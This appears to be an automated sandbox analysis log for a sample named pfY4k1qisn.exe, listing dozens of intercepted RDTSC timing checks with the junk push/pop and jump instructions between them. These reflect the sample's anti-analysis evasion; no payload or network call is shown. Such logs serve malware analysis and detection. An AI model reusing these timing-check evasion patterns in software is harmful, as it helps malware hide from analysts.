Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD2F75 second address: BD2F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD82B8 second address: BD82D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B7Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c jg 00007FBDC0E80B80h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD85B9 second address: BD85EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FBDC110A224h 0x0000000b popad 0x0000000c jmp 00007FBDC110A223h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD85EF second address: BD85F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD85F5 second address: BD85FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD8903 second address: BD890C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD8CF2 second address: BD8D0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A21Ah 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jc 00007FBDC110A216h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD8D0B second address: BD8D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD8D11 second address: BD8D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD76B5 second address: BD76C5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnl 00007FBDC0E80B76h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B585CB second address: B585CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BE037A second address: BE037E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BE037E second address: BE0394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A21Ch 0x00000007 jns 00007FBDC110A216h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BE0394 second address: BE039E instructions: 0x00000000 rdtsc 0x00000002 js 00007FBDC0E80B82h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BE039E second address: BE03AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBDC110A216h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BE03AB second address: BE03B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BE08C4 second address: BE08EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b ja 00007FBDC110A216h 0x00000011 jmp 00007FBDC110A21Fh 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 pushad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BE08EC second address: BE0906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FBDC0E80B7Bh 0x0000000b popad 0x0000000c js 00007FBDC0E80B7Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BE0A55 second address: BE0A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BE8608 second address: BE863E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 jmp 00007FBDC0E80B86h 0x0000000d jnp 00007FBDC0E80B76h 0x00000013 pop ecx 0x00000014 jmp 00007FBDC0E80B81h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BE8A54 second address: BE8A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BEA493 second address: BEA49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FBDC0E80B76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BEC490 second address: BEC4AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FBDC110A216h 0x0000000a jmp 00007FBDC110A220h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF1883 second address: BF188D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF188D second address: BF1898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FBDC110A216h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF1B45 second address: BF1B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF1B4C second address: BF1B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FBDC110A228h 0x0000000e jmp 00007FBDC110A21Eh 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF1B7F second address: BF1BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 jmp 00007FBDC0E80B88h 0x0000000d pushad 0x0000000e jmp 00007FBDC0E80B82h 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8F26 second address: BA8F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8F2A second address: BA8F2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8FB6 second address: BA9001 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FBDC110A216h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 jnl 00007FBDC110A227h 0x00000017 push 00000004h 0x00000019 jl 00007FBDC110A21Ch 0x0000001f mov edi, dword ptr [ebp+1244D13Ah] 0x00000025 nop 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FBDC110A222h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF20FB second address: BF2105 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBDC0E80B76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF2105 second address: BF210F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF210F second address: BF2113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF2113 second address: BF2119 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B5BBB5 second address: B5BBBF instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBDC0E80B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF79F0 second address: BF79F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF79F8 second address: BF79FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF7B34 second address: BF7B44 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBDC110A216h 0x00000008 jne 00007FBDC110A216h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF7B44 second address: BF7B6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FBDC0E80B84h 0x0000000e push ecx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 je 00007FBDC0E80B76h 0x00000017 pop ecx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF7B6E second address: BF7B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FBDC110A216h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF7CAA second address: BF7CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF7E13 second address: BF7E20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF7FE5 second address: BF7FE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF7FE9 second address: BF7FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF7FF3 second address: BF7FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BF7FF7 second address: BF800E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBDC110A216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d jc 00007FBDC110A216h 0x00000013 pop ebx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BFA976 second address: BFA97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BFA97A second address: BFA97E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BFA97E second address: BFA984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BFA984 second address: BFA994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FBDC110A224h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BFD95F second address: BFD995 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FBDC0E80B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007FBDC0E80B87h 0x00000010 pop ecx 0x00000011 jmp 00007FBDC0E80B7Eh 0x00000016 popad 0x00000017 push ebx 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BFD0FE second address: BFD119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007FBDC110A224h 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BFD286 second address: BFD28B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BFD28B second address: BFD29C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC110A21Bh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BFD29C second address: BFD2AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C053EA second address: C053F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C053F0 second address: C05409 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C05409 second address: C05428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC110A229h 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C05428 second address: C05432 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBDC0E80B76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C05F3B second address: C05F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C06489 second address: C0648D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C06D2E second address: C06D35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C06D35 second address: C06D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C0F6DB second address: C0F71A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBDC110A228h 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FBDC110A229h 0x0000000f popad 0x00000010 jc 00007FBDC110A21Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C0EDF4 second address: C0EE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBDC0E80B88h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C0EE15 second address: C0EE33 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FBDC110A228h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C0EE33 second address: C0EE47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FBDC0E80B7Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C0F0F5 second address: C0F0FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C0F0FB second address: C0F11A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBDC0E80B86h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C0F11A second address: C0F133 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A21Dh 0x00000007 jbe 00007FBDC110A21Eh 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C0F285 second address: C0F289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C1547B second address: C15487 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C15D48 second address: C15D71 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FBDC0E80B84h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jo 00007FBDC0E80B76h 0x00000012 je 00007FBDC0E80B76h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C15EBC second address: C15ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 pushad 0x00000008 jmp 00007FBDC110A21Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C16310 second address: C16322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007FBDC0E80B76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C16322 second address: C16338 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FBDC110A216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C16338 second address: C1633D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C17100 second address: C17128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jne 00007FBDC110A216h 0x0000000c jmp 00007FBDC110A227h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C17128 second address: C1712C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C14FF7 second address: C15009 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007FBDC110A21Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C15009 second address: C15011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C15011 second address: C15017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C15017 second address: C1501B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C1B338 second address: C1B33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C1CA6A second address: C1CA6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C20F58 second address: C20F63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C210E5 second address: C2110A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B7Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBDC0E80B83h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C2110A second address: C21110 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C2126F second address: C21283 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C21283 second address: C212CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A21Fh 0x00000007 jne 00007FBDC110A21Eh 0x0000000d jns 00007FBDC110A216h 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FBDC110A229h 0x0000001e pushad 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 pushad 0x00000022 popad 0x00000023 jl 00007FBDC110A216h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C2D1D2 second address: C2D1DC instructions: 0x00000000 rdtsc 0x00000002 je 00007FBDC0E80B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
